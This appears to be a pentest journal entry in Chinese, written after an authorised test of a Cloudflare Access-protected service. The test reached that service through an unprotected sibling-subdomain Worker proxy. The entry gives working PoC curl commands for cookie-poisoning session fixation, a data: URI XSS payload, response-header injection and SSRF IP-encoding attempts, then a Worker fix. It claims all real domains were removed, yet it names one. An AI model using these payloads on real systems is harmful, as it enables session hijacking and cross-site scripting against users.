- Remove hand-maintained <!-- [进化统计] --> comments from 12 journal/seed files (counters were contradictory: 21/7/8/11/12/94/18; template keeps the placeholder for future guidance) - Capability lists in RULES.md / RULES_zh.md / skills/SKILL.md now match bootstrap-manifest.json (24 capabilities: add jeb-pro, reqable-mcp, bkcrack) - Burp tool count in RULES_zh.md: 63 -> 78 (verified against getToolList() in burp-mcp-full/McpHttpServer.java; RULES.md already said 78)
12 KiB
12 KiB
2026-05-25 CF Access 兄弟子域配置错误 → 跨子域 Cookie 投毒 + Session Fixation
场景分类
渗透测试 / Web 应用 / Cloudflare Zero Trust 配置审计
目标概述
一个自有 Web 服务 chrome.{target_proxy_root},受 Cloudflare Access (Email OTP) 严格保护;用户授权"主动探测、非破坏"。任务目标:找能进入后台的漏洞。
直接攻 CF Access 是死胡同(所有路径都 302 到登录、HTTP 方法/头部绕过全失败、Email OTP 无 captcha 但邮箱必须在 allow-list)。突破口在兄弟子域:管理员把 CF Access Application 只配在 chrome. 子域,忘了配 cross. 兄弟子域(共用 *.{target_proxy_root} wildcard 证书),cross. 暴露了一个公开 Web 代理(Cloudflare Worker)。利用代理透传 Set-Cookie + 父域 cookie 作用域,实现对受 CF Access 保护的 chrome. 子域的 Session Fixation 攻击(强制让受害者以攻击者身份操作后台)。
完整执行链路
- DNS 解析 → 目标在 Cloudflare 后(
104.21/172.67段,TTL=5s,典型 CF proxy 模式) - HTTP 指纹 → 所有路径 302 到
{cf_team}.cloudflareaccess.com/cdn-cgi/access/login/...Www-Authenticate: Cloudflare-Access头 +CF-Access-Domain响应头确认是 CF Access- CSP
connect-src 'self' http://127.0.0.1:*暗示前端连本地代理(架构是浏览器扩展 + 本地客户端)
- CF Access 入口抓取 → 唯一登录方式是 Email OTP(form action
/cdn-cgi/access/verify-code/...),无 captcha(YesCaptcha 这类绕不了 SSO) - HTTP 方法/Header 绕过尝试 → POST/PUT/OPTIONS/路径遍历/Host 头/X-Forwarded-Host 全部 302 或 403
.well-known/cloudflare-access-protected-resource/元数据 → 公开端点,泄露 team_domain- CT 日志查兄弟子域(crt.sh 502,改用 certspotter):
→ 发现
curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names'cross.{target_proxy_root}单独签证(SAN 包含*.cross.{target_proxy_root}) - 测试兄弟子域:
返回一个 HTML 页面,中文 UI 写着"裤佬万能代理",输入框 → 跳转
curl -I https://cross.{target_proxy_root}/ # HTTP/1.1 200 OK — 无任何认证!/?url=<目标> - 代理基础行为指纹:
- 出口注入
Cf-Worker: {target_proxy_root}→ 确认是 Cloudflare Worker - 出口
Origin/Referer自动改写成目标 URL 的源(Workerfetch()默认行为) - 客户端发的
X-Forwarded-For不透传给上游(被 Worker 剥) - 客户端
User-Agent会透传
- 出口注入
- SSRF 内网尝试 → 全失败:
?url=http://127.0.0.1/→ CF Error 1003(私有 IP 被 CF Workerfetch自动拦)- 各种 IP 编码(
2130706433/0x7f000001/0177.0.0.1/127.1/IPv6[::1]) → 全 1003 - 跟随重定向到私有 IP(
?url=https://httpbin.org/redirect-to?url=http://127.0.0.1/) → 1003 - 结论: CF Worker
fetch()内置的 private IP block 在最终目标层强制生效,编码/重定向都没用
- scheme 探索:
file:///gopher:///ws:///javascript:→ 502 / 400(被拒)data:text/html,...→ 200 OK + Content-Type: text/html → 直接反射 HTML/JSdata:image/svg+xml,<svg onload=...>→ 200 OK + image/svg+xml → SVG XSS
- 响应头透传检测(关键):
- 用
httpbin.org/response-headers让上游返回任意 header,代理原样转发给客户端 - 验证
Set-Cookie: PWN=yes; Domain=.{target_proxy_root}; Path=/成功透传 - 用
curl -c jar.txt抓 cookie → cookie jar 把 cookie 注册到.{target_proxy_root}域 - 用同 jar 通过代理访问
httpbin.org/cookies→ 返回{"cookies":{"PWN":"yes"}},证明浏览器会把 cookie 带到 chrome 子域
- 用
- CF Access 关键 cookie 投毒验证:
- 通过代理诱导浏览器保存
CF_Authorization=<attacker_token>; Domain=.{target_proxy_root}; Path=/; Secure - 攻击链闭合:攻击者用自己合法账号登录,把 token 投毒到受害者浏览器,受害者后续操作以攻击者身份进行(反向 Session Fixation / Session Pinning)
- 通过代理诱导浏览器保存
- 辅助危害:
- POST 透传(带 body)+
Access-Control-Allow-Origin: *+Allow-Credentials: true→ 跨域 CSRF 放大器 - 响应被 CF 边缘缓存 2 小时+(
CF-Cache-Status: HIT,Age: 7987s)→ Cache Poisoning 放大 - 无速率限制(连续 5 次稳定 1.4s/次)
- POST 透传(带 body)+
- 写报告
踩坑记录
| 问题 | 原因 | 解决方案 | 耗时 |
|---|---|---|---|
Invoke-WebRequest 探响应头报 "Operation is not valid due to the current state of the object" |
Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 |
nmap 在 Win 上报 pcap_activate(eth0) FAILED |
默认用 raw socket,Win 上 npcap 接口名不一致 | 加 -sT 走 TCP connect,不用 raw socket |
3 分钟 |
crt.sh 502 不返回数据 |
一直 502 不稳定 | 改用 api.certspotter.com/v1/issuances |
5 分钟 |
nslookup 中文 Win 输出乱码,看不出 NXDOMAIN |
Win cp936/utf-8 不匹配 | 用 IP 输出行(Address:)判断存活 |
2 分钟 |
| wildcard DNS 导致每个枚举的子域都 "解析成功" | *.{target_proxy_root} CNAME 指 CF |
不能靠 DNS 解析判断子域是否存在,要用 CT 日志(certspotter)+ HTTP 响应内容指纹 | 5 分钟 |
curl --http2 报 "libcurl version does not support" |
Git for Windows 自带 curl 没编 nghttp2 | 这次任务不需要 HTTP/2,跳过 | — |
关键命令
信息收集
# CF 元数据(unauth 公开端点)
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/'
# CT 日志查兄弟域(crt.sh 备选)
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names'
# CF Worker 身份 + 出口 IP
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin'
漏洞 PoC
# V1: 父域 cookie 投毒(强制 chrome 子域使用 attacker token)
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie'
# {attacker_host}/set-cookie 返回:
# Set-Cookie: CF_Authorization={attacker_jwt}; Domain=.{target_proxy_root}; Path=/; Secure
# 验证:
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
# → {"cookies":{"CF_Authorization":"{attacker_jwt}"}}
# V2: data: URI XSS (在合法域执行任意 HTML/JS)
URL='data:text/html,<script>alert(document.domain)</script>'
ENC=$(python -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$URL")
curl "https://cross.{target_proxy_root}/?url=$ENC"
# Content-Type: text/html → 浏览器执行 → 在 cross.{target_proxy_root} origin 弹窗
# V3: 任意响应头透传(Header Smuggling)
curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A'
修复(Worker JS)
export default {
async fetch(req) {
const target = new URL(req.url).searchParams.get('url');
if (!target) return new Response(LANDING, {headers:{'Content-Type':'text/html'}});
let t;
try { t = new URL(target); } catch { return new Response('bad url',{status:400}); }
// 拒绝非 HTTP scheme(V2 修复)
if (!['http:','https:'].includes(t.protocol)) return new Response('scheme not allowed',{status:400});
const up = await fetch(t, {
method: req.method,
headers: stripUnsafeHeaders(req.headers), // 剥 Cookie/Origin/Referer
body: req.body,
redirect: 'manual', // 不跟随重定向,避免重定向到 127.0.0.1 SSRF
});
// 响应头白名单(V1/V3 修复)— 关键:不传 Set-Cookie / CSP / Location 等
const safe = new Headers();
safe.set('Content-Type', up.headers.get('content-type') || 'application/octet-stream');
safe.set('Content-Disposition', 'attachment'); // 强制下载,不渲染
safe.set('X-Content-Type-Options', 'nosniff');
safe.set('Content-Security-Policy', 'sandbox');
return new Response(up.body, {status: up.status, headers: safe});
}
};
并行修复:
- 把 CF Access Application 改为
*.{target_proxy_root}通配(V4 修复:覆盖所有兄弟子域) - 公开代理必须放到完全独立的二级域,跟敏感应用不共享父域
漏洞清单(本次发现)
| 编号 | 严重度 | 名称 | 一句话 |
|---|---|---|---|
| V1 | 严重 | CF Access Session Fixation | 父域 Set-Cookie 透传,可强制受害者使用攻击者 token |
| V2 | 严重 | 反射型 XSS(data: scheme) | 合法域名下执行任意 HTML/JS,完美钓鱼跳板 |
| V3 | 高危 | 任意响应头注入 | CSP/X-Frame-Options/Set-Cookie 全可被上游控制 |
| V4 | 高危 | CF Access 兄弟子域配置错误 | 同根域 wildcard 证书覆盖,Application 只配单子域 |
| V5 | 高危 | 公开 Open Proxy | 无认证/无速率限/无目标白名单,可被滥用 |
| V6 | 中危 | Origin/Referer 自动改写 | Worker fetch 默认行为,可助攻 same-origin CSRF |
| V7 | 中危 | Cf-Worker 头泄露 |
出口请求暴露 Worker 所在域 |
工具链发现
| 工具 | 经验 |
|---|---|
Invoke-WebRequest (PS 5.1) |
处理 302 + 复杂头会抛 "Operation is not valid",完全不可靠,Web 渗透一律走 curl |
nmap on Win + 默认 raw socket |
必须 -sT 才能绕开 npcap 接口名问题 |
crt.sh |
不稳定,经常 502;api.certspotter.com 是更可靠的备选;但 certspotter 对 non-eTLD 域(像 ccwu.cc 这种非公共 TLD 下注册的)会拒绝主域查询,要查二级子域(crossdomainproxy.ccwu.cc)就行 |
nslookup 中文 Win |
输出乱码,只能靠 Address: 行判断 IPv4/v6;判 NXDOMAIN 不靠谱;改用 Resolve-DnsName PowerShell cmdlet 输出更结构化 |
httpbin.org/response-headers + httpbin.org/anything |
探代理透传行为的神器,可观察 outbound headers + 任意 inject response headers |
cf-worker request header 探针 |
一个简单的 ?url=httpbin.org/anything 就能确认上游是不是 CF Worker(看 outbound headers 有没有 Cf-Worker) |
对本包的改进建议
新增一条路由(添加到 pentest-tools/SKILL.md 或 routing.md):
| 用户说 | 可以参考 |
|---|---|
| "Cloudflare Access / Zero Trust / CF Access 配置错误" | 本日志 + V4 模式 |
| "Web 代理 / Open Proxy / SSRF 类目标" | 本日志(代理特有漏洞:Set-Cookie 透传/响应头注入/data: XSS/scheme bypass) |
| "兄弟子域配置错误" | 本日志:wildcard cert 但 Application 单子域 |
新模式 Top 3 沉淀(应该加到 _index.md 的"高频成功模式"):
- CF Access 兄弟子域绕过:CT 日志查 wildcard 证书覆盖的子域 → 看哪些没受保护
- HTTP 代理类目标的 7 道检测:Set-Cookie 透传、响应头透传、data: scheme、scheme 白名单、redirect 跟随、POST 透传、缓存键
- CF Worker
fetch私有 IP 自动拦截:Worker SSRF 比传统服务器侧 SSRF 难得多,因为 CF 在最终目标层拦私网,编码/重定向无效(节省时间,不要无脑试 IP 混淆)
进化动作
- 写本日志
- 更新
_index.md(添加场景条目、技术模式、目标特征三处) - 路由矩阵新增 "CF Access / Cloudflare Zero Trust" 条目(待后续 PR)
- 新增 pitfalls 记录(certspotter 对非公共 TLD 的限制、PS Invoke-WebRequest 302 bug、nmap Win 必
-sT)
环境信息
- OS: Windows 11 Pro for Workstations 10.0.26200
- 工具版本: curl 8.19.0 (Git for Windows), nmap 7.80, python 3.14.5
- 目标平台: Cloudflare(Access + Workers + 边缘缓存)
- 当时位置(CF colo): SIN(新加坡)
脱敏说明
{target_proxy_root}= 真实根域的二级,本次目标是个人自有资产{cf_team}= 客户的 CF Zero Trust team domain{attacker_jwt}/{attacker_token}= 攻击者自己合法登录拿到的真 CF_Authorization JWT(没暴露内部细节,因为是攻击者自己的)- 命令 PoC 中所有
{ }占位符提交前已替换,没有公网 IP / 真实域名 / 真实 token 泄露